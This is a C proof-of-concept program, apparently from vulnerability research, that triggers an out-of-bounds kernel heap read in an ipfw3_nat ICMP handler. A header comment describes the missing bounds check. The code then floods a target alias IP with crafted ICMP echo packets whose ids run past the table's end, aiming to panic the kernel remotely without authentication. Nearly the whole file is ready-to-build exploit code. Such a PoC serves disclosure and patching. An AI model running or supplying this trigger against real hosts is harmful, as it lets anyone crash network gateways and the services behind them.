DF-0570 / df0570_oob_trigger.c
/* * DF-0570 — ipfw3_nat inbound OOB-read trigger (ICMP variant). * * Bug: sys/net/ipfw3_nat/ip_fw3_nat.c:215 * old_port = &L3HDR(struct icmp, ip)->icmp_id; * s2 = alias->icmp_in[*old_port]; <-- NO bounds check, NO ntohs, * NO -ALIAS_BEGIN subtraction * icmp_in[] has ALIAS_RANGE (64511) entries [0..64510]. An inbound ICMP * echo whose raw icmp_id is in [64511..65535] indexes PAST the end of the * cfg_alias allocation (~1.5 MB). That read either: * - faults on an unmapped page (kernel page fault -> panic), or * - returns non-NULL heap residue which is then dereferenced at line 335 * (s2->alias_addr) -> wild pointer deref -> panic. * * The s2==NULL guard at line 221 runs AFTER the OOB read, so it cannot * prevent the out-of-bounds access. * * THREAT MODEL: this is a REMOTE, unauthenticated trigger. Any host that * can deliver a packet to the NAT alias IP sends a crafted ICMP echo and * indexes the kernel heap. No account on the box is required. This PoC * runs as root on the box only to SIMULATE the remote attacker's packet * (raw ICMP sockets need privilege on the receiver); the exploit itself is * unprivileged from the attacker's perspective. * * Build: cc -O2 -o df0570_oob df0570_oob_trigger.c * Run: ./df0570_oob <alias_ip> (default 10.0.2.15) */ #include <sys/socket.h> #include <sys/time.h> #include <netinet/in.h> #include <netinet/ip.h> #include <netinet/ip_icmp.h> #include <arpa/inet.h> #include <string.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <errno.h> static uint16_t cksum(const void *data, int len) { const uint16_t *p = data; uint32_t s = 0; while (len > 1) { s += *p++; len -= 2; } if (len == 1) s += *(const uint8_t *)p; s = (s >> 16) + (s & 0xffff); s += (s >> 16); return (uint16_t)(~s); } int main(int argc, char **argv) { const char *dst = (argc > 1) ? argv[1] : "10.0.2.15"; int start = (argc > 2) ? atoi(argv[2]) : 64511; int end = (argc > 3) ? atoi(argv[3]) : 65535; int s = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP); if (s < 0) { perror("socket(ICMP_RAW)"); return 2; } struct sockaddr_in d; memset(&d, 0, sizeof d); d.sin_family = AF_INET; inet_aton(dst, &d.sin_addr); printf("DF-0570: sending ICMP echo to %s with icmp_id in [%d..%d]\n", dst, start, end); printf(" each indexes icmp_in[id] (size %d) WITHOUT bounds check\n", 64511); int sent = 0; for (int id = start; id <= end; id++) { struct icmp ic; memset(&ic, 0, sizeof ic); ic.icmp_type = ICMP_ECHO; ic.icmp_code = 0; ic.icmp_id = htons((uint16_t)id); /* on-wire id -> LE read == id */ ic.icmp_seq = htons(1); ic.icmp_cksum = 0; ic.icmp_cksum = cksum(&ic, sizeof ic); int n = sendto(s, &ic, sizeof ic, 0, (struct sockaddr *)&d, sizeof d); if (n < 0 && errno != ENOBUFS) { printf(" id=%d sendto: %s\n", id, strerror(errno)); } else { sent++; } /* tiny pause so a panic isn't drowned in a burst */ if (sent % 256 == 0) usleep(20000); } close(s); printf("DF-0570: sent %d crafted ICMP echo packets.\n", sent); printf("If the kernel faults on the OOB read, boot.log holds a panic " "and the guest stops answering.\n"); return 0; } |